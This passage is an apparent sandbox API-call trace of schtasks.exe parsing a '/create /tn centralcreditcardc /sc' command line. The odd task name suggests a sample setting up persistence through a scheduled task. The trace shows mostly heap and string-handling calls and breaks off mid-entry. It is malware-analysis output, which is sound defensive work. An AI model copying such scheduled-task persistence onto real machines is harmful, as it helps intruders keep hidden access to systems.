_Env=0xff941248, _DoWildCard=0, _StartInfo=0xff94125c | out: _Argc=0xff941240, _Argv=0xff941250, _Env=0xff941248) returned 0 [0082.245] _onexit (_Func=0xff932ab0) returned 0xff932ab0 [0082.245] _onexit (_Func=0xff932ac4) returned 0xff932ac4 [0082.246] _onexit (_Func=0xff932afc) returned 0xff932afc [0082.246] _onexit (_Func=0xff932b58) returned 0xff932b58 [0082.246] _onexit (_Func=0xff932b80) returned 0xff932b80 [0082.246] _onexit (_Func=0xff932ba8) returned 0xff932ba8 [0082.246] _onexit (_Func=0xff932bd0) returned 0xff932bd0 [0082.246] _onexit (_Func=0xff932bf8) returned 0xff932bf8 [0082.246] _onexit (_Func=0xff932c20) returned 0xff932c20 [0082.246] _onexit (_Func=0xff932c48) returned 0xff932c48 [0082.247] _onexit (_Func=0xff932c70) returned 0xff932c70 [0082.247] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0082.247] WinSqmIsOptedIn () returned 0x0 [0082.247] GetProcessHeap () returned 0x140000 [0082.247] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x18) returned 0x1555e0 [0082.247] SetLastError (dwErrCode=0x0) [0082.248] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0082.248] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0082.248] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0082.248] VerifyVersionInfoW (in: lpVersionInformation=0xbf680, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xbf680) returned 1 [0082.248] GetProcessHeap () returned 0x140000 [0082.248] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x18) returned 0x15bbb0 [0082.248] lstrlenW (lpString="") returned 0 [0082.248] GetProcessHeap () returned 0x140000 [0082.248] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x2) returned 0x15bbd0 [0082.248] GetProcessHeap () returned 0x140000 [0082.248] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155ad0 [0082.248] GetProcessHeap () returned 0x140000 [0082.248] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x18) returned 0x15bbf0 [0082.248] GetProcessHeap () returned 0x140000 [0082.248] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155b00 [0082.248] GetProcessHeap () returned 0x140000 [0082.248] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155b30 [0082.248] GetProcessHeap () returned 0x140000 [0082.248] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155b60 [0082.248] GetProcessHeap () returned 0x140000 [0082.248] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155b90 [0082.248] GetProcessHeap () returned 0x140000 [0082.248] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x18) returned 0x15bc10 [0082.248] GetProcessHeap () returned 0x140000 [0082.248] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155bc0 [0082.248] GetProcessHeap () returned 0x140000 [0082.248] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155bf0 [0082.248] GetProcessHeap () returned 0x140000 [0082.248] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155c20 [0082.248] GetProcessHeap () returned 0x140000 [0082.248] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155c50 [0082.249] GetProcessHeap () returned 0x140000 [0082.249] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x18) returned 0x15bc30 [0082.249] GetProcessHeap () returned 0x140000 [0082.249] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155c80 [0082.249] GetProcessHeap () returned 0x140000 [0082.249] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155cb0 [0082.249] GetProcessHeap () returned 0x140000 [0082.249] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155ce0 [0082.249] GetProcessHeap () returned 0x140000 [0082.249] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155d10 [0082.249] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0082.249] SetLastError (dwErrCode=0x0) [0082.249] GetProcessHeap () returned 0x140000 [0082.249] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155d40 [0082.249] GetProcessHeap () returned 0x140000 [0082.249] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155d70 [0082.249] GetProcessHeap () returned 0x140000 [0082.249] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155da0 [0082.249] GetProcessHeap () returned 0x140000 [0082.249] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155dd0 [0082.249] GetProcessHeap () returned 0x140000 [0082.249] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155e00 [0082.249] GetProcessHeap () returned 0x140000 [0082.249] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x18) returned 0x15bc50 [0082.249] _memicmp (_Buf1=0x15bc50, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.249] GetProcessHeap () returned 0x140000 [0082.249] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x208) returned 0x15bdf0 [0082.250] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x15bdf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0082.250] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0082.251] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0082.252] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0082.253] GetProcessHeap () returned 0x140000 [0082.253] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x74e) returned 0x15c3c0 [0082.253] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0082.253] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x15c3c0 | out: lpData=0x15c3c0) returned 1 [0082.253] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0082.253] VerQueryValueW (in: pBlock=0x15c3c0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xbf768, puLen=0xbf7d0 | out: lplpBuffer=0xbf768*=0x15c75c, puLen=0xbf7d0) returned 1 [0082.256] _memicmp (_Buf1=0x15bc50, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.256] _vsnwprintf (in: _Buffer=0x15bdf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xbf748 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0082.256] VerQueryValueW (in: pBlock=0x15c3c0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xbf7d8, puLen=0xbf7c8 | out: lplpBuffer=0xbf7d8*=0x15c588, puLen=0xbf7c8) returned 1 [0082.256] lstrlenW (lpString="schtasks.exe") returned 12 [0082.256] lstrlenW (lpString="schtasks.exe") returned 12 [0082.256] lstrlenW (lpString=".EXE") returned 4 [0082.256] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0082.257] lstrlenW (lpString="schtasks.exe") returned 12 [0082.257] lstrlenW (lpString=".EXE") returned 4 [0082.257] _memicmp (_Buf1=0x15bc50, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.257] lstrlenW (lpString="schtasks") returned 8 [0082.257] GetProcessHeap () returned 0x140000 [0082.257] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x155ef0 [0082.257] GetProcessHeap () returned 0x140000 [0082.257] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15ccd0 [0082.258] GetProcessHeap () returned 0x140000 [0082.258] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cd00 [0082.258] GetProcessHeap () returned 0x140000 [0082.258] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cd30 [0082.258] GetProcessHeap () returned 0x140000 [0082.258] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x18) returned 0x15bc70 [0082.258] _memicmp (_Buf1=0x15bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.258] GetProcessHeap () returned 0x140000 [0082.258] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0xa0) returned 0x15c1f0 [0082.258] GetProcessHeap () returned 0x140000 [0082.258] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cd60 [0082.258] GetProcessHeap () returned 0x140000 [0082.258] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cd90 [0082.258] GetProcessHeap () returned 0x140000 [0082.258] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cdc0 [0082.258] GetProcessHeap () returned 0x140000 [0082.258] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x18) returned 0x15bc90 [0082.258] _memicmp (_Buf1=0x15bc90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.258] GetProcessHeap () returned 0x140000 [0082.258] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x200) returned 0x15d4a0 [0082.258] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x15d4a0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0082.259] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0082.259] GetProcessHeap () returned 0x140000 [0082.259] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x30) returned 0x157c70 [0082.259] _vsnwprintf (in: _Buffer=0x15c1f0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xbf748 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0082.259] GetProcessHeap () returned 0x140000 [0082.259] GetProcessHeap () returned 0x140000 [0082.259] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c3c0) returned 1 [0082.259] GetProcessHeap () returned 0x140000 [0082.259] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c3c0) returned 0x74e [0082.260] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c3c0 | out: hHeap=0x140000) returned 1 [0082.260] SetLastError (dwErrCode=0x0) [0082.260] GetThreadLocale () returned 0x409 [0082.260] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.260] lstrlenW (lpString="?") returned 1 [0082.260] GetThreadLocale () returned 0x409 [0082.260] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.260] lstrlenW (lpString="create") returned 6 [0082.260] GetThreadLocale () returned 0x409 [0082.260] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.260] lstrlenW (lpString="delete") returned 6 [0082.260] GetThreadLocale () returned 0x409 [0082.260] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.260] lstrlenW (lpString="query") returned 5 [0082.260] GetThreadLocale () returned 0x409 [0082.260] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.260] lstrlenW (lpString="change") returned 6 [0082.260] GetThreadLocale () returned 0x409 [0082.260] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.260] lstrlenW (lpString="run") returned 3 [0082.260] GetThreadLocale () returned 0x409 [0082.260] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.260] lstrlenW (lpString="end") returned 3 [0082.260] GetThreadLocale () returned 0x409 [0082.260] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.261] lstrlenW (lpString="showsid") returned 7 [0082.261] GetThreadLocale () returned 0x409 [0082.261] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.261] SetLastError (dwErrCode=0x0) [0082.261] SetLastError (dwErrCode=0x0) [0082.261] lstrlenW (lpString="/create") returned 7 [0082.261] lstrlenW (lpString="-/") returned 2 [0082.261] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0082.261] lstrlenW (lpString="?") returned 1 [0082.261] lstrlenW (lpString="?") returned 1 [0082.261] GetProcessHeap () returned 0x140000 [0082.261] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x18) returned 0x15c2a0 [0082.261] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.261] GetProcessHeap () returned 0x140000 [0082.261] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0xa) returned 0x15c3c0 [0082.261] lstrlenW (lpString="create") returned 6 [0082.261] GetProcessHeap () returned 0x140000 [0082.261] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x18) returned 0x15c3e0 [0082.261] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.261] GetProcessHeap () returned 0x140000 [0082.261] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x14) returned 0x15c400 [0082.261] _vsnwprintf (in: _Buffer=0x15c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|?|") returned 3 [0082.261] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|create|") returned 8 [0082.261] lstrlenW (lpString="|?|") returned 3 [0082.261] lstrlenW (lpString="|create|") returned 8 [0082.261] SetLastError (dwErrCode=0x490) [0082.261] lstrlenW (lpString="create") returned 6 [0082.261] lstrlenW (lpString="create") returned 6 [0082.261] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.261] GetProcessHeap () returned 0x140000 [0082.261] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c3c0) returned 1 [0082.261] GetProcessHeap () returned 0x140000 [0082.262] RtlReAllocateHeap (Heap=0x140000, Flags=0xc, Ptr=0x15c3c0, Size=0x14) returned 0x15c420 [0082.262] lstrlenW (lpString="create") returned 6 [0082.262] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.262] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|create|") returned 8 [0082.262] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|create|") returned 8 [0082.262] lstrlenW (lpString="|create|") returned 8 [0082.262] lstrlenW (lpString="|create|") returned 8 [0082.262] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0082.262] SetLastError (dwErrCode=0x0) [0082.262] SetLastError (dwErrCode=0x0) [0082.262] SetLastError (dwErrCode=0x0) [0082.262] lstrlenW (lpString="/tn") returned 3 [0082.262] lstrlenW (lpString="-/") returned 2 [0082.262] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0082.262] lstrlenW (lpString="?") returned 1 [0082.262] lstrlenW (lpString="?") returned 1 [0082.262] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.262] lstrlenW (lpString="tn") returned 2 [0082.262] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.262] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|?|") returned 3 [0082.262] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|tn|") returned 4 [0082.262] lstrlenW (lpString="|?|") returned 3 [0082.262] lstrlenW (lpString="|tn|") returned 4 [0082.262] SetLastError (dwErrCode=0x490) [0082.262] lstrlenW (lpString="create") returned 6 [0082.262] lstrlenW (lpString="create") returned 6 [0082.262] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.262] lstrlenW (lpString="tn") returned 2 [0082.262] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.263] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|create|") returned 8 [0082.263] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|tn|") returned 4 [0082.263] lstrlenW (lpString="|create|") returned 8 [0082.263] lstrlenW (lpString="|tn|") returned 4 [0082.263] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0082.263] SetLastError (dwErrCode=0x490) [0082.263] lstrlenW (lpString="delete") returned 6 [0082.263] lstrlenW (lpString="delete") returned 6 [0082.263] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.263] lstrlenW (lpString="tn") returned 2 [0082.263] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.263] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|delete|") returned 8 [0082.263] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|tn|") returned 4 [0082.263] lstrlenW (lpString="|delete|") returned 8 [0082.263] lstrlenW (lpString="|tn|") returned 4 [0082.263] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0082.263] SetLastError (dwErrCode=0x490) [0082.263] lstrlenW (lpString="query") returned 5 [0082.263] lstrlenW (lpString="query") returned 5 [0082.263] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.263] lstrlenW (lpString="tn") returned 2 [0082.263] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.263] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|query|") returned 7 [0082.263] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|tn|") returned 4 [0082.263] lstrlenW (lpString="|query|") returned 7 [0082.263] lstrlenW (lpString="|tn|") returned 4 [0082.263] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0082.263] SetLastError (dwErrCode=0x490) [0082.263] lstrlenW (lpString="change") returned 6 [0082.263] lstrlenW (lpString="change") returned 6 [0082.263] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.264] lstrlenW (lpString="tn") returned 2 [0082.264] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.264] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|change|") returned 8 [0082.264] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|tn|") returned 4 [0082.264] lstrlenW (lpString="|change|") returned 8 [0082.264] lstrlenW (lpString="|tn|") returned 4 [0082.264] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0082.264] SetLastError (dwErrCode=0x490) [0082.264] lstrlenW (lpString="run") returned 3 [0082.264] lstrlenW (lpString="run") returned 3 [0082.264] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.264] lstrlenW (lpString="tn") returned 2 [0082.264] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.264] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|run|") returned 5 [0082.264] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|tn|") returned 4 [0082.264] lstrlenW (lpString="|run|") returned 5 [0082.264] lstrlenW (lpString="|tn|") returned 4 [0082.264] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0082.264] SetLastError (dwErrCode=0x490) [0082.264] lstrlenW (lpString="end") returned 3 [0082.264] lstrlenW (lpString="end") returned 3 [0082.264] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.264] lstrlenW (lpString="tn") returned 2 [0082.264] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.264] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|end|") returned 5 [0082.264] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|tn|") returned 4 [0082.264] lstrlenW (lpString="|end|") returned 5 [0082.264] lstrlenW (lpString="|tn|") returned 4 [0082.264] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0082.264] SetLastError (dwErrCode=0x490) [0082.265] lstrlenW (lpString="showsid") returned 7 [0082.265] lstrlenW (lpString="showsid") returned 7 [0082.265] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.265] GetProcessHeap () returned 0x140000 [0082.265] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c420) returned 1 [0082.265] GetProcessHeap () returned 0x140000 [0082.265] RtlReAllocateHeap (Heap=0x140000, Flags=0xc, Ptr=0x15c420, Size=0x16) returned 0x15c420 [0082.265] lstrlenW (lpString="tn") returned 2 [0082.265] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.265] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|showsid|") returned 9 [0082.265] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|tn|") returned 4 [0082.265] lstrlenW (lpString="|showsid|") returned 9 [0082.265] lstrlenW (lpString="|tn|") returned 4 [0082.265] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0082.265] SetLastError (dwErrCode=0x490) [0082.265] SetLastError (dwErrCode=0x490) [0082.265] SetLastError (dwErrCode=0x0) [0082.265] lstrlenW (lpString="/tn") returned 3 [0082.265] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0082.265] SetLastError (dwErrCode=0x490) [0082.265] SetLastError (dwErrCode=0x0) [0082.265] lstrlenW (lpString="/tn") returned 3 [0082.265] GetProcessHeap () returned 0x140000 [0082.265] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x8) returned 0x15c3c0 [0082.265] GetProcessHeap () returned 0x140000 [0082.265] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cdf0 [0082.265] SetLastError (dwErrCode=0x0) [0082.265] SetLastError (dwErrCode=0x0) [0082.265] lstrlenW (lpString="centralcreditcardc") returned 18 [0082.266] lstrlenW (lpString="-/") returned 2 [0082.266] StrChrIW (lpStart="-/", wMatch=0x63) returned 0x0 [0082.266] SetLastError (dwErrCode=0x490) [0082.266] SetLastError (dwErrCode=0x490) [0082.266] SetLastError (dwErrCode=0x0) [0082.266] lstrlenW (lpString="centralcreditcardc") returned 18 [0082.266] StrChrIW (lpStart="centralcreditcardc", wMatch=0x3a) returned 0x0 [0082.266] SetLastError (dwErrCode=0x490) [0082.266] SetLastError (dwErrCode=0x0) [0082.266] lstrlenW (lpString="centralcreditcardc") returned 18 [0082.266] GetProcessHeap () returned 0x140000 [0082.266] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x26) returned 0x15ce20 [0082.266] GetProcessHeap () returned 0x140000 [0082.266] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15ce50 [0082.266] SetLastError (dwErrCode=0x0) [0082.266] SetLastError (dwErrCode=0x0) [0082.266] lstrlenW (lpString="/sc") returned 3 [0082.266] lstrlenW (lpString="-/") returned 2 [0082.266] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0082.266] lstrlenW (lpString="?") returned 1 [0082.266] lstrlenW (lpString="?") returned 1 [0082.266] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.266] lstrlenW (lpString="sc") returned 2 [0082.266] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.266] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|?|") returned 3 [0082.266] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|sc|") returned 4 [0082.266] lstrlenW (lpString="|?|") returned 3 [0082.266] lstrlenW (lpString="|sc|") returned 4 [0082.266] SetLastError (dwErrCode=0x490) [0082.266] lstrlenW (lpString="create") returned 6 [0082.266] lstrlenW (lpString="create") returned 6 [0082.286] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.286] lstrlenW (lpString="sc") returned 2 [0082.286] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.286] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|create|") returned 8 [0082.286] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|sc|") returned 4 [0082.286] lstrlenW (lpString="|create|") returned 8 [0082.286] lstrlenW (lpString="|sc|") returned 4 [0082.286] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0082.286] SetLastError (dwErrCode=0x490) [0082.286] lstrlenW (lpString="delete") returned 6 [0082.286] lstrlenW (lpString="delete") returned 6 [0082.286] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.286] lstrlenW (lpString="sc") returned 2 [0082.286] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.286] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|delete|") returned 8 [0082.286] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|sc|") returned 4 [0082.286] lstrlenW (lpString="|delete|") returned 8 [0082.286] lstrlenW (lpString="|sc|") returned 4 [0082.286] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0082.286] SetLastError (dwErrCode=0x490) [0082.286] lstrlenW (lpString="query") returned 5 [0082.286] lstrlenW (lpString="query") returned 5 [0082.286] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.287] lstrlenW (lpString="sc") returned 2 [0082.287] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.287] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|query|") returned 7 [0082.287] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|sc|") returned 4 [0082.287] lstrlenW (lpString="|query|") returned 7 [0082.287] lstrlenW (lpString="|sc|") returned 4 [0082.287] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0082.287] SetLastError 